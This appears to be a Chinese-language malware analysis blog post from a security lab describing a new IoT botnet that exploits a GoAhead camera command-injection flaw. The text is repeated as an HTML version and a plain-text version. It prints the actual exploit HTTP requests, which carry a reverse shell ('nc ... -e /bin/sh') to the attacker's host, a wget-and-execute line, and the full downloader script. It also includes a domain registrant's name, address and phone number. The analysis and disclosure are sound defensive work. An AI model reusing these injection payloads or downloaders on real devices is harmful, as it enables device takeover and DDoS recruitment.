<code>81</code></li> <li>嗅探端口时采用类似mirai 的 <code>syn scan</code> 过程</li> <li>嗅探 <code>login.cgi</code> 页面，猜测攻击者通过这种方式进一步精确甄别受害者。上述三个做法可以提高僵尸网络感染的效率</li> <li>使用前文提到的 <code>goahead 0-day</code> 漏洞，投递载荷</li> <li>我们尚没有直接证据，但是有理由怀疑攻击者在成功获得设备root权限以后，阻断了载荷投递通道，避免后来者经同样路径争夺设备控制权</li> </ol> <h3 id="">我们注意到了来自攻击者的扫描</h3> <p>我们首次注意到本次事件，是来自我们的全球网络扫描实时监控系统：</p> <p><a href="http://scan.netlab.360.com/#/dashboard?tsbeg=1490457600000&amp;tsend=1493049600000&amp;dstport=81&amp;toplistname=srcip&amp;topn=30&amp;sortby=sum">http://scan.netlab.360.com/#/dashboard?tsbeg=1490457600000&amp;tsend=1493049600000&amp;dstport=81&amp;toplistname=srcip&amp;topn=30&amp;sortby=sum</a></p> <p><img src="__GHOST_URL__/content/images/2017/04/01_port_81_scan_bigbang_since_2017-04-16.png" alt="" loading="lazy"><br> 图1 port 81 scan bigbang since 2017-04-16</p> <p>从图中我们可以看到，<code>2017-04-16</code> 是个关键的时间点。取 2017-04-15 与之后的数据对比，当日扫描事件数量增长到 400% ~ 700% ，独立扫描来源增长 4000%～6000%。特别是2017-04-22当天扫描来源超过 <code>57,000</code>，这个数字巨大，让我们觉得有必要向安全社区提示这个威胁的存在。<br> <img src="__GHOST_URL__/content/images/2017/04/02_detailed_volume_compare.png" alt="" loading="lazy"><br> 图2 detailed volume compare</p> <h3 id="">从扫描到样本</h3> <h6 id="">载荷</h6> <p>注意到该扫描以后，我们就开始了对该威胁的追溯和分析工作。通过我们的蜜罐系统，我们捕获了下面这组样本。需要预先说明的是，虽然这组样本的命名中包含 mirai 字样，但是这一组样本的工作方式不同于mirai，并不能视为mirai的变种，而应该作为一个新的威胁来对待。</p> <p>cd20dcacf52cfe2b5c2a8950daf9220d wificam.sh<br> 428111c22627e1d4ee87705251704422 mirai.arm<br> 9584b6aec418a2af4efac24867a8c7ec mirai.arm5n<br> 5ebeff1f005804bb8afef91095aac1d9 mirai.arm7<br> b2b129d84723d0ba2f803a546c8b19ae mirai.mips<br> 2f6e964b3f63b13831314c28185bb51a mirai.mpsl</p> <p>这组样本的文件信息如下：</p> <ul> <li> <p>mirai.arm: ELF 32-bit LSB executable, ARM, version 1, statically linked, stripped</p> </li> <li> <p>mirai.arm5n: ELF 32-bit LSB executable, ARM, version 1, statically linked, stripped</p> </li> <li> <p>mirai.arm7: ELF 32-bit LSB executable, ARM, EABI4 version 1 (SYSV), statically linked, stripped</p> </li> <li> <p>mirai.mips: ELF 32-bit MSB executable, MIPS, MIPS-I version 1 (SYSV), statically linked, stripped</p> </li> <li> <p>mirai.mpsl: ELF 32-bit LSB executable, MIPS, MIPS-I version 1 (SYSV), statically linked, stripped</p> </li> <li> <p>wificam.sh: ASCII text</p> </li> </ul> <h6 id="">载荷的投递方式</h6> <p>在攻击者完成嗅探81端口确认存活以后，通过以下方式投递有效载荷：</p> <ol> <li>攻击者在上文PoC基础上，注入命令迫使受害者设备发起nc连接到 load.gtpnet.ir:1234</li> <li>攻击者控制load.gtpnet.ir:1234 对每个受害则发起的连接，投递了 hxxp://ntp.gtpnet.ir/wificam.sh 作为后续下载的中转，并通过该脚本进一步从 hxxp://ntp.gtpnet.ir/ 服务器下载命名为 mirai.arm/mirai.arm5n/mirai.arm7/mirai.mips/mirai.mpsl 的样本</li> <li>这些样本会进一步与控制服务器建立连接，到此，受害者设备完全被攻击者控制，感染阶段结束，准备发起攻击。</li> </ol> <p>上述三段攻击方式对应的代码如下：</p> <ol> <li>命令注入阶段，迫使受害者建立nc连接到 load.gtpnet.ir:1234</li> </ol> <div> <pre> GET login.cgi HTTP/1.1 </pre> <pre> GET /set_ftp.cgi?loginuse=admin&loginpas=admin&next_url=ftp.htm&port=21&user=ftp&pwd=ftp&dir=/&mode=PORT&upload_interval=0&svr=%24%28nc+load.gtpnet.ir+1234+-e+%2Fbin%2Fsh%29 HTTP/1.1 </pre> <pre> GET /ftptest.cgi?loginuse=admin&loginpas=admin HTTP/1.1 </pre> </div> <p>这个部分的有效载荷包含在 <code>sef_ftp.cgi</code> 的URI 中，转码后为</p> <p><code>nc load.gtpnet.ir 1234 -e bin/sh</code></p> <p>受害者因此被胁迫向攻击者的服务器发起nc连接</p> <ol start="2"> <li>攻击者通过上述nc连接，向受害者设备投递了下载脚本 wificam.sh</li> </ol> <div> <pre> $ nc load.gtpnet.ir 1234` </pre> <pre> busybox nohup sh -c "wget http://ntp.gtpnet.ir/wificam.sh -O /tmp/a.sh ;chmod +x /tmp/a.sh ;/tmp/a.sh" > /dev/null 2>&1 &` </pre> </div> <p>下载脚本 wificam.sh 进一步下载了新的样本文件</p> <p><code>$ cat wificam.sh</code></p> <div> <pre> wget hxxp://ntp.gtpnet.ir/mirai.arm -O /tmp/arm.bin wget hxxp://ntp.gtpnet.ir/mirai.arm5n -O /tmp/arm5.bin wget hxxp://ntp.gtpnet.ir/mirai.arm7 -O /tmp/arm7.bin wget hxxp://ntp.gtpnet.ir/mirai.mips -O /tmp/mips.bin wget hxxp://ntp.gtpnet.ir/mirai.mpsl -O /tmp/mpsl.bin </pre> <pre> chmod +x /tmp/arm.bin chmod +x /tmp/arm5.bin chmod +x /tmp/arm7.bin chmod +x /tmp/mips.bin chmod +x /tmp/mpsl.bin </pre> <pre> killall *.bin killall arm killall arm5 killall arm7 killall mips killall mpsl killall hal </pre> <pre> /tmp/arm.bin /tmp/arm5.bin /tmp/arm7.bin /tmp/mips.bin /tmp/mpsl.bin rm -rf /tmp/*.bin </pre> </div> <h6 id="">将本次扫描归因到这组样本</h6> <p>我们认为本次针对 81 端口扫描归因到这组样本上。</p> <p>从数据分析角度做出归因判定最大的障碍，是蜜罐系统采集到的有效数据只有100+ 份，对比全球网络扫描实时监测系统中每日独立扫描来源超过57,000，两者差距巨大，使用前者来说明后者，有数据覆盖率不足之嫌。</p> <p>不过我们在仔细考察当前数据后，有以下发现：</p> <ol> <li>这组样本，<strong>采集自81端口</strong>的扫描活动</li> <li>蜜罐上近期81 端口的扫描，绝大多数指向了这个样本。以4月19日为例，<strong>124（/132=94%）的81端口扫描</strong>是该样本发起的；</li> <li>时间窗口方面，我们的三个不同数据源（大网扫描实时监测/C2域名DNS流量/蜜罐扫描流量）上监测均监测到了流量暴涨，且流量暴涨出现的时间均发生在 2016-04-16 03:00:00 附近。三个数据源的覆盖范围各不同，分别是<strong>全球范围、中国大陆范围、若干蜜罐部署点范围，三个数据源之间的数据能够交叉映证</strong>，是一个较强的证据。</li> </ol> <p><img src="__GHOST_URL__/content/images/2017/04/03_2016-04-16_030000_spike_from_scanmon_at_global_size.png" alt="" loading="lazy"><br> 来自Scanmon的数据指出spike首次出现时间点大约是 2017-04-16 03:00:00 附近</p> <p><img src="__GHOST_URL__/content/images/2017/04/04_spike_from_dns_at_china_size.png" alt="" loading="lazy"><br> 来自DNS 的C2 域名解析数据，spike首次出现时间也是在 2017-04-16 03:00:00 附近</p> <p><img src="__GHOST_URL__/content/images/2017/04/05_spike_from_honeypot_at_serveral_site.png" alt="" loading="lazy"><br> 来自蜜罐这组样本的出现时间，首次出现时间同样在 2017-04-16 03:00:00 附近（排除奇异点212.232.46.46，后述）。</p> <p>在仔细衡量上述全部因素后，我们断言本次扫描可以归因到当前样本。</p> <h3 id="">样本分析</h3> <p>针对样本详尽的逆向分析较为耗时，目前尚在进行中，稍后也许我们会发布更进一步分析。目前阶段，我们可以从样本的网络表现中得到以下方面的结论：</p> <ol> <li>样本 vs C2控制端</li> <li>样本 vs Simple UDP DDoS 攻击向量</li> <li>样本 vs mirai</li> <li>样本 vs IoT<br> 另外目前各杀毒厂商对该样本的认定尚不充分（7/55 virustotal），这也是我们希望向安全社区发声的原因之一。</li> </ol> <h5 id="vsc2">样本 vs C2控制端</h5> <p>通过已经完成的逆向工程，我们已经能够确定无论是在感染阶段还是攻击阶段，样本都会与 load.gtpnet.ir/ntp.gtpnet.ir 通信。</p> <h5 id="vssimpleudpddos">样本 vs Simple UDP DDoS 攻击向量</h5> <p>样本中包含了 DDoS 攻击向量。我们在 <strong>2017-04-23<br> 21:45:00</strong> 附近，观察到沙箱中的样本向 <strong>185.63.190.95</strong> 发起了DDoS 攻击。</p> <p>这次攻击也被 <strong>DDoSmon.net 检测到</strong>了：<br> <a href="https://ddosmon.net/explore/185.63.190.95">https://ddosmon.net/explore/185.63.190.95</a></p> <p><img src="__GHOST_URL__/content/images/2017/04/07_ddos_againt_185.63.190.95.png" alt="" loading="lazy"></p> <p>进一步分析攻击向量的构成：</p> <ul> <li>从DDoSMon的统计来看，攻击主要针对受害者的 UDP 53/123/656 端口，填充包大小主要集中在125/139</li> <li>从沙箱的Pcap分析来看，攻击覆盖受害者的 UDP 53/123 端口，填充包大小能够映证上述DDosMon.net的数据。</li> </ul> <p>另外从沙箱Pcap数据来看，攻击包使用了真实IP地址，在填充包中填充的是 SSDP(UDP 1900）的数据。<br> 沙箱中看到的攻击包特征：</p> <p><img src="__GHOST_URL__/content/images/2017/04/20_simple_udp_53_ddos_from_sandbox_pcap.png" alt="" loading="lazy"></p> <p>Simple UDP 53 DDoS with a SSDP1900 padding</p> <p><img src="__GHOST_URL__/content/images/2017/04/20_simple_udp_123_ddos_from_sandbox_pcap.png" alt="" loading="lazy"></p> <p>Simple UDP 123 DDoS with a SSDP1900 padding</p> <h5 id="vsmirai">样本 vs mirai</h5> <p>样本与mirai有较多联系，也有很大变化，总体而言，我们认为这是一个全新的家族，不将其并入mirai家族。</p> <p>样本与mirai的不同点包括：</p> <ul> <li>传播阶段：不再猜测 23/2323 端口上的弱密码；通过 81 端口上的 GoAhead RCE 漏洞传播</li> <li>C2通信协议：完全不同于mirai</li> <li>攻击向量：完全不同于mirai；前面提到 UDP 53/123/656 端口的攻击向量，mirai是不具有的；而mirai特有的、创下记录的GRE/STOMP攻击向量，在这组样本中完全不存在；</li> </ul> <p>样本也的确与mirai有一些共同点：</p> <ul> <li>传播阶段：使用非正常的 syn scan 来加速端口扫描的过程。不过今天这个技巧已经被非常多的恶意代码家族使用，不再能算作mirai独有的特点</li> <li>文件命名：使用了 mirai 这个字符串</li> <li>代码重用：重用了较多mirai的部分代码</li> </ul> <p><img src="__GHOST_URL__/content/images/2017/04/11_reuse_mirai_source_code.png" alt="" loading="lazy"></p> <p>尽管有若干共同点，由于传播、攻击向量等关键特征已经与mirai完全没有共同之处，我们仍然倾向将这个样本与mirai区别开来。</p> <h5 id="vsiot">样本 vs IoT</h5> <p>在前面的分析中，我们已经了解到这一组样本主要针对IoT设备传播，但具体是1200+种设备中的哪些种类尚不明确。不过在360网络安全研究院，我们可以使用DNS数据维度进一步刻画受感染设备的归属。</p> <p>我们经常使用D2V工具来寻找域名的伴生域名，在这个案例，我们观察到 ntp.gtpnet.ir 域名在 2017-04-16之前没有伴生域名，之后与下列域名伴生：</p> <div> <pre> s3.vstarcam.com s2.eye4.cn ntp.gtpnet.ir api.vanelife.com load.gtpnet.ir ntp2.eye4.cn push.eye4.cn push.eyecloud.so ntp.eye4.cn m2m.vanelife.com` </pre> </div> <p>这些域名的具体网站标题如下：<br> <img src="__GHOST_URL__/content/images/2017/04/12_link_D2V_domains_to_IoT_keywords.png" alt="" loading="lazy"><br> 基于上述数据可以进一步刻画受感染设备的归属。</p> <h3 id="c2">C2 历史变化回溯</h3> <h5 id="dns">DNS历史解析记录变化</h5> <p>我们看到的两个域名的历史解析记录如下</p> <p><img src="__GHOST_URL__/content/images/2017/04/13_C2_DNS_history-1.png" alt="" loading="lazy"><br> 可以看出：</p> <ol> <li>load.gtpnet.ir 一直指向 185.45.192.168</li> <li>ntp.gtpnet.ir 的IP地址则发生了多次变换，比较不稳定</li> <li>我们在沙箱中也同样观察到了上述 ntp.gtpnet.ir 的IP地址不稳定的情况</li> </ol> <p>上述 ntp.gtpnet.ir IP地址不稳定现象也许可以用下面的事实来解释：</p> <ul> <li>从样本分析来看，前者仅负责投递初始下载器，负载相对较轻；后者不仅负责投递wificam.sh 和 5个 elf 样本，还承担与bot通信的责任，负载比前者重很多倍。</li> <li>整个botnet的规模较大，服务器同时与数万bot通信的负载较高。</li> </ul> <h5 id="c2whois">C2 的whois 域名关联</h5> <p>域名的whois 信息如下：</p> <div> <pre> domain: gtpnet.ir ascii: gtpnet.ir remarks: (Domain Holder) javad fooladdadi remarks: (Domain Holder Address) Imarat hashtom, apartemanhaye emarat hashtom, golbahar, khorasan razavi, IR holder-c: jf280-irnic admin-c: jf280-irnic tech-c: mk3389-irnic nserver: etta.ns.cloudflare.com nserver: dom.ns.cloudflare.com last-updated: 2017-04-19 expire-date: <b>2018-04-06</b> source: IRNIC # Filtered <p>nic-hdl: jf280-irnic<br> person: javad fooladdadi<br> org: personal<br> e-mail: <b><a href="mailto:[email protected]">[email protected]</a></b><br> address: Imarat hashtom, apartemanhaye emarat hashtom, golbahar, khorasan razavi, IR<br> phone: +989155408348<br> fax-no: +989155408348<br> source: IRNIC # Filtered</p> <p>nic-hdl: mk3389-irnic<br> person: Morteza Khayati<br> e-mail: <b><a href="mailto:[email protected]">[email protected]</a></b><br> source: IRNIC # Filtered</p> </pre> </div> 上述域名的注册时间，推测发生在 2017-04-06 (因为失效时间是 2018-04-06)，恰好发生在攻击者武器化的期间 （2017-03-08 ~ 2017-04-16），可以断定是专为本僵尸网络而注册的域名。 <p>但是两个域名注册email地址与本僵尸网络的关联尚缺少证据进一步支撑。其中 <strong><a href="mailto:[email protected]">[email protected]</a></strong> 与以下两个域名关联：</p> <ul> <li>hostsale.net</li> <li>almashost.com</li> </ul> <p>特别是 almashost.com 的注册时间发生在 2009 年，并且看起来是有域名交易/域名停靠的事情发生，倾向认为与本次攻击并无直接关联。这样，email地址 <a href="mailto:[email protected]">[email protected]</a> 是如何卷入本次攻击的，尚不得而知。</p> <h3 id="">僵尸网络规模判定</h3> <h4 id="dns">从DNS系统视角度量僵尸网络规模</h4> <p>到现在（2017-04-24）为止，我们从DNS数据中（中国大陆地区），能够看到与C2服务器通信的僵尸规模有 43,621。由于我们数据的地缘性限制，我们看到的分布主要限定在中国大陆地区。具体位置分布如下：</p> <p><img src="__GHOST_URL__/content/images/2017/04/10_botnet_measurement_dns_china_perspective-1.png" alt="" loading="lazy"></p> <p>中国大陆地区每日活跃的bot数量在 2,700 ～ 9,500 之间，如下：</p> <p><img src="__GHOST_URL__/content/images/2017/04/06_daily_active_botnet_from_dns_perspective.png" alt="" loading="lazy"></p> <h3 id="2122324646">关于 212.232.46.46 我们的观察</h3> <p>在所有扫中我们蜜罐的来源IP中， 212.232.46.46 是特殊的一个。从时间分布上来说，这个IP是孤立的一个，在他之前没有其他IP以这种方式扫描我们的蜜罐。在他之后，5个小时内一个都没有、但是之后蜜罐就被密集的扫中。</p> <p><img src="__GHOST_URL__/content/images/2017/04/14_a_special_scanner.png" alt="" loading="lazy"></p> <p>目前为止，我们只知道这个IP是个数据上的奇异点，但这个IP与攻击者之间的关系并不清楚，期待睿智的读者为我们补上拼图中缺失的那块。附上该IP地址的历史扫描行为：</p> <p><img src="__GHOST_URL__/content/images/2017/04/14_the_special_scanner_history.png" alt="" loading="lazy"></p> <h3 id="ioc">IoC</h3> <p>样本</p> <div> <pre> cd20dcacf52cfe2b5c2a8950daf9220d wificam.sh 428111c22627e1d4ee87705251704422 mirai.arm 9584b6aec418a2af4efac24867a8c7ec mirai.arm5n 5ebeff1f005804bb8afef91095aac1d9 mirai.arm7 b2b129d84723d0ba2f803a546c8b19ae mirai.mips 2f6e964b3f63b13831314c28185bb51a mirai.mpsl </pre> </div> <p>控制主机</p> <div> <pre> ntp.gtpnet.ir load.gtpnet.ir </pre> </div><!--kg-card-end: markdown-->

概述 360 网络安全研究院近日监测到一个新的僵尸网络正在大范围扫描整个互联网。考虑到该僵尸网络的以下因素，我们决定向安全社区公开我们的发现成果： 1. 规模较大，我们目前可以看到 ～50k 日活IP 2. 有Simple UDP DDoS 攻击记录，可以认定是恶意代码 3. 较新，目前尚有较多安全厂商未能识别该恶意代码 ( 7/55 virustotal ) 4. 与mirai僵尸网络相比，借鉴了其端口嗅探手法和部分代码，但是在传播、C2通信协议、攻击向量等关键方面完全不同于mirai，是新的恶意代码家族而不应视为mirai的变种 我们梳理了该僵尸网络的发现过程、传播手法、行为特征，简略分析了该僵尸网络的攻击行为，并按照时间线组织本blog的各小节如下： 1. GoAhead及多家摄像头的 RCE 漏洞 2. 攻击者将漏洞武器化 3. 我们注意到了来自攻击者的扫描 4. 从扫描到样本 5. C2 历史变化回溯 6. 僵尸网络规模判定 7. 关于 212.232.46.46 我们的观察 8. IoC GoAhead 及多家摄像头的 RCE 0Day漏洞 研究人员 Pierre Kim (@PierreKimSec) 于 2017-03-08 发布了一个关于GoAhead 以及其他OEM摄像头的脆弱性分析报告。在设备厂商归属方面，原作者指出由于设备OEM的原因，共涉及了超过 1,250 个不同摄像头厂商、型号；在潜在感染设备方面，原作者利用Shodan 估算有超过 185,000 个设备有潜在问题。原始文章链接如下： https://pierrekim.github.io/blog/2017-03-08-camera-goahead-0day.html 在原始文章中， 原作者指出 GoAhead 摄像头存在若干问题，其中包括： * 通过提供空白的 loginuse 和 loginpas 绕过认证环节，下载设备的.ini 文件 * 通过向 set_ftp.cgi 中注入命令，获得root权限，并在设备上提供远程 Shell 原作者指出攻击者组合使用上述问题，就可以在完全没有设备口令的情况下，获得设备的root权限，并提供了一个利用代码。 在上述页面中，可以关联到原作者和其他安全社区反馈的信息。综合这些反馈，我们并没有观察到没有设备厂商积极行动起来，为本脆弱性提供解决方案，原因也许是OEM厂商之间错综复杂的关系，不过正是因为迟迟没有原始厂商采取行动，才给了攻击者继续发挥的空间。 攻击者将漏洞武器化 事后看，我们认为攻击者在原始PoC公布后，花了不超过1个月的时间将上述漏洞武器化，并在2017-04-16 成功引起了我们的注意。 我们实际看到武器化后的payload 有如下特点： 1. 嗅探端口从 80 改为 81 2. 嗅探端口时采用类似mirai 的 syn scan 过程 3. 嗅探 login.cgi 页面，猜测攻击者通过这种方式进一步精确甄别受害者。上述三个做法可以提高僵尸网络感染的效率 4. 使用前文提到的 goahead 0-day 漏洞，投递载荷 5. 我们尚没有直接证据，但是有理由怀疑攻击者在成功获得设备root权限以后，阻断了载荷投递通道，避免后来者经同样路径争夺设备控制权 我们注意到了来自攻击者的扫描 我们首次注意到本次事件，是来自我们的全球网络扫描实时监控系统： http://scan.netlab.360.com/#/dashboard?tsbeg=1490457600000&tsend=1493049600000&dstport=81&toplistname=srcip&topn=30&sortby=sum 图1 port 81 scan bigbang since 2017-04-16 从图中我们可以看到，2017-04-16 是个关键的时间点。取 2017-04-15 与之后的数据对比，当日扫描事件数量增长到 400% ~ 700% ，独立扫描来源增长 4000%～6000%。特别是2017-04-22当天扫描来源超过 57,000，这个数字巨大，让我们觉得有必要向安全社区提示这个威胁的存在。 图2 detailed volume compare 从扫描到样本 载荷 注意到该扫描以后，我们就开始了对该威胁的追溯和分析工作。通过我们的蜜罐系统，我们捕获了下面这组样本。需要预先说明的是，虽然这组样本的命名中包含 mirai 字样，但是这一组样本的工作方式不同于mirai，并不能视为mirai的变种，而应该作为一个新的威胁来对待。 cd20dcacf52cfe2b5c2a8950daf9220d wificam.sh 428111c22627e1d4ee87705251704422 mirai.arm 9584b6aec418a2af4efac24867a8c7ec mirai.arm5n 5ebeff1f005804bb8afef91095aac1d9 mirai.arm7 b2b129d84723d0ba2f803a546c8b19ae mirai.mips 2f6e964b3f63b13831314c28185bb51a mirai.mpsl 这组样本的文件信息如下： * mirai.arm: ELF 32-bit LSB executable, ARM, version 1, statically linked, stripped * mirai.arm5n: ELF 32-bit LSB executable, ARM, version 1, statically linked, stripped * mirai.arm7: ELF 32-bit LSB executable, ARM, EABI4 version 1 (SYSV), statically linked, stripped * mirai.mips: ELF 32-bit MSB executable, MIPS, MIPS-I version 1 (SYSV), statically linked, stripped * mirai.mpsl: ELF 32-bit LSB executable, MIPS, MIPS-I version 1 (SYSV), statically linked, stripped * wificam.sh: ASCII text 载荷的投递方式 在攻击者完成嗅探81端口确认存活以后，通过以下方式投递有效载荷： 1. 攻击者在上文PoC基础上，注入命令迫使受害者设备发起nc连接到 load.gtpnet.ir:1234 2. 攻击者控制load.gtpnet.ir:1234 对每个受害则发起的连接，投递了 hxxp://ntp.gtpnet.ir/wificam.sh 作为后续下载的中转，并通过该脚本进一步从 hxxp://ntp.gtpnet.ir/ 服务器下载命名为 mirai.arm/mirai.arm5n/mirai.arm7/mirai.mips/mirai.mpsl 的样本 3. 这些样本会进一步与控制服务器建立连接，到此，受害者设备完全被攻击者控制，感染阶段结束，准备发起攻击。 上述三段攻击方式对应的代码如下： 1. 命令注入阶段，迫使受害者建立nc连接到 load.gtpnet.ir:1234 GET login.cgi HTTP/1.1 GET /set_ftp.cgi?loginuse=admin&loginpas=admin&next_url=ftp.htm&port=21&user=ftp&pwd=ftp&dir=/&mode=PORT&upload_interval=0&svr=%24%28nc+load.gtpnet.ir+1234+-e+%2Fbin%2Fsh%29 HTTP/1.1 GET /ftptest.cgi?loginuse=admin&loginpas=admin HTTP/1.1 这个部分的有效载荷包含在 sef_ftp.cgi 的URI 中，转码后为 nc load.gtpnet.ir 1234 -e bin/sh 受害者因此被胁迫向攻击者的服务器发起nc连接 2. 攻击者通过上述nc连接，向受害者设备投递了下载脚本 wificam.sh $ nc load.gtpnet.ir 1234` busybox nohup sh -c "wget http://ntp.gtpnet.ir/wificam.sh -O /tmp/a.sh ;chmod +x /tmp/a.sh ;/tmp/a.sh" > /dev/null 2>&1 &` 下载脚本 wificam.sh 进一步下载了新的样本文件 $ cat wificam.sh wget hxxp://ntp.gtpnet.ir/mirai.arm -O /tmp/arm.bin wget hxxp://ntp.gtpnet.ir/mirai.arm5n -O /tmp/arm5.bin wget hxxp://ntp.gtpnet.ir/mirai.arm7 -O /tmp/arm7.bin wget hxxp://ntp.gtpnet.ir/mirai.mips -O /tmp/mips.bin wget hxxp://ntp.gtpnet.ir/mirai.mpsl -O /tmp/mpsl.bin chmod +x /tmp/arm.bin chmod +x /tmp/arm5.bin chmod +x /tmp/arm7.bin chmod +x /tmp/mips.bin chmod +x /tmp/mpsl.bin killall *.bin killall arm killall arm5 killall arm7 killall mips killall mpsl killall hal /tmp/arm.bin /tmp/arm5.bin /tmp/arm7.bin /tmp/mips.bin /tmp/mpsl.bin rm -rf /tmp/*.bin 将本次扫描归因到这组样本 我们认为本次针对 81 端口扫描归因到这组样本上。 从数据分析角度做出归因判定最大的障碍，是蜜罐系统采集到的有效数据只有100+ 份，对比全球网络扫描实时监测系统中每日独立扫描来源超过57,000，两者差距巨大，使用前者来说明后者，有数据覆盖率不足之嫌。 不过我们在仔细考察当前数据后，有以下发现： 1. 这组样本，采集自81端口的扫描活动 2. 蜜罐上近期81 端口的扫描，绝大多数指向了这个样本。以4月19日为例，124（/132=94%）的81端口扫描是该样本发起的； 3. 时间窗口方面，我们的三个不同数据源（大网扫描实时监测/C2域名DNS流量/蜜罐扫描流量）上监测均监测到了流量暴涨，且流量暴涨出现的时间均发生在 2016-04-16 03:00:00 附近。三个数据源的覆盖范围各不同，分别是全球范围、中国大陆范围、若干蜜罐部署点范围，三个数据源之间的数据能够交叉映证，是一个较强的证据。 来自Scanmon的数据指出spike首次出现时间点大约是 2017-04-16 03:00:00 附近 来自DNS 的C2 域名解析数据，spike首次出现时间也是在 2017-04-16 03:00:00 附近 来自蜜罐这组样本的出现时间，首次出现时间同样在 2017-04-16 03:00:00 附近（排除奇异点212.232.46.46，后述）。 在仔细衡量上述全部因素后，我们断言本次扫描可以归因到当前样本。 样本分析 针对样本详尽的逆向分析较为耗时，目前尚在进行中，稍后也许我们会发布更进一步分析。目前阶段，我们可以从样本的网络表现中得到以下方面的结论： 1. 样本 vs C2控制端 2. 样本 vs Simple UDP DDoS 攻击向量 3. 样本 vs mirai 4. 样本 vs IoT 另外目前各杀毒厂商对该样本的认定尚不充分（7/55 virustotal），这也是我们希望向安全社区发声的原因之一。 样本 vs C2控制端 通过已经完成的逆向工程，我们已经能够确定无论是在感染阶段还是攻击阶段，样本都会与 load.gtpnet.ir/ntp.gtpnet.ir 通信。 样本 vs Simple UDP DDoS 攻击向量 样本中包含了 DDoS 攻击向量。我们在 2017-04-23 21:45:00 附近，观察到沙箱中的样本向 185.63.190.95 发起了DDoS 攻击。 这次攻击也被 DDoSmon.net 检测到了： https://ddosmon.net/explore/185.63.190.95 进一步分析攻击向量的构成： * 从DDoSMon的统计来看，攻击主要针对受害者的 UDP 53/123/656 端口，填充包大小主要集中在125/139 * 从沙箱的Pcap分析来看，攻击覆盖受害者的 UDP 53/123 端口，填充包大小能够映证上述DDosMon.net的数据。 另外从沙箱Pcap数据来看，攻击包使用了真实IP地址，在填充包中填充的是 SSDP(UDP 1900）的数据。 沙箱中看到的攻击包特征： Simple UDP 53 DDoS with a SSDP1900 padding Simple UDP 123 DDoS with a SSDP1900 padding 样本 vs mirai 样本与mirai有较多联系，也有很大变化，总体而言，我们认为这是一个全新的家族，不将其并入mirai家族。 样本与mirai的不同点包括： * 传播阶段：不再猜测 23/2323 端口上的弱密码；通过 81 端口上的 GoAhead RCE 漏洞传播 * C2通信协议：完全不同于mirai * 攻击向量：完全不同于mirai；前面提到 UDP 53/123/656 端口的攻击向量，mirai是不具有的；而mirai特有的、创下记录的GRE/STOMP攻击向量，在这组样本中完全不存在； 样本也的确与mirai有一些共同点： * 传播阶段：使用非正常的 syn scan 来加速端口扫描的过程。不过今天这个技巧已经被非常多的恶意代码家族使用，不再能算作mirai独有的特点 * 文件命名：使用了 mirai 这个字符串 * 代码重用：重用了较多mirai的部分代码 尽管有若干共同点，由于传播、攻击向量等关键特征已经与mirai完全没有共同之处，我们仍然倾向将这个样本与mirai区别开来。 样本 vs IoT 在前面的分析中，我们已经了解到这一组样本主要针对IoT设备传播，但具体是1200+种设备中的哪些种类尚不明确。不过在360网络安全研究院，我们可以使用DNS数据维度进一步刻画受感染设备的归属。 我们经常使用D2V工具来寻找域名的伴生域名，在这个案例，我们观察到 ntp.gtpnet.ir 域名在 2017-04-16之前没有伴生域名，之后与下列域名伴生： s3.vstarcam.com s2.eye4.cn ntp.gtpnet.ir api.vanelife.com load.gtpnet.ir ntp2.eye4.cn push.eye4.cn push.eyecloud.so ntp.eye4.cn m2m.vanelife.com` 这些域名的具体网站标题如下： 基于上述数据可以进一步刻画受感染设备的归属。 C2 历史变化回溯 DNS历史解析记录变化 我们看到的两个域名的历史解析记录如下 可以看出： 1. load.gtpnet.ir 一直指向 185.45.192.168 2. ntp.gtpnet.ir 的IP地址则发生了多次变换，比较不稳定 3. 我们在沙箱中也同样观察到了上述 ntp.gtpnet.ir 的IP地址不稳定的情况 上述 ntp.gtpnet.ir IP地址不稳定现象也许可以用下面的事实来解释： * 从样本分析来看，前者仅负责投递初始下载器，负载相对较轻；后者不仅负责投递wificam.sh 和 5个 elf 样本，还承担与bot通信的责任，负载比前者重很多倍。 * 整个botnet的规模较大，服务器同时与数万bot通信的负载较高。 C2 的whois 域名关联 域名的whois 信息如下： domain: gtpnet.ir ascii: gtpnet.ir remarks: (Domain Holder) javad fooladdadi remarks: (Domain Holder Address) Imarat hashtom, apartemanhaye emarat hashtom, golbahar, khorasan razavi, IR holder-c: jf280-irnic admin-c: jf280-irnic tech-c: mk3389-irnic nserver: etta.ns.cloudflare.com nserver: dom.ns.cloudflare.com last-updated: 2017-04-19 expire-date: 2018-04-06 source: IRNIC # Filtered nic-hdl: jf280-irnic person: javad fooladdadi org: personal e-mail: [email protected] address: Imarat hashtom, apartemanhaye emarat hashtom, golbahar, khorasan razavi, IR phone: +989155408348 fax-no: +989155408348 source: IRNIC # Filtered nic-hdl: mk3389-irnic person: Morteza Khayati e-mail: [email protected] source: IRNIC # Filtered 上述域名的注册时间，推测发生在 2017-04-06 (因为失效时间是 2018-04-06)，恰好发生在攻击者武器化的期间 （2017-03-08 ~ 2017-04-16），可以断定是专为本僵尸网络而注册的域名。 但是两个域名注册email地址与本僵尸网络的关联尚缺少证据进一步支撑。其中 [email protected] 与以下两个域名关联： * hostsale.net * almashost.com 特别是 almashost.com 的注册时间发生在 2009 年，并且看起来是有域名交易/域名停靠的事情发生，倾向认为与本次攻击并无直接关联。这样，email地址 [email protected] 是如何卷入本次攻击的，尚不得而知。 僵尸网络规模判定 从DNS系统视角度量僵尸网络规模 到现在（2017-04-24）为止，我们从DNS数据中（中国大陆地区），能够看到与C2服务器通信的僵尸规模有 43,621。由于我们数据的地缘性限制，我们看到的分布主要限定在中国大陆地区。具体位置分布如下： 中国大陆地区每日活跃的bot数量在 2,700 ～ 9,500 之间，如下： 关于 212.232.46.46 我们的观察 在所有扫中我们蜜罐的来源IP中， 212.232.46.46 是特殊的一个。从时间分布上来说，这个IP是孤立的一个，在他之前没有其他IP以这种方式扫描我们的蜜罐。在他之后，5个小时内一个都没有、但是之后蜜罐就被密集的扫中。 目前为止，我们只知道这个IP是个数据上的奇异点，但这个IP与攻击者之间的关系并不清楚，期待睿智的读者为我们补上拼图中缺失的那块。附上该IP地址的历史扫描行为： IoC 样本 cd20dcacf52cfe2b5c2a8950daf9220d wificam.sh 428111c22627e1d4ee87705251704422 mirai.arm 9584b6aec418a2af4efac24867a8c7ec mirai.arm5n 5ebeff1f005804bb8afef91095aac1d9 mirai.arm7 b2b129d84723d0ba2f803a546c8b19ae mirai.mips 2f6e964b3f63b13831314c28185bb51a mirai.mpsl 控制主机 ntp.gtpnet.ir load.gtpnet.ir

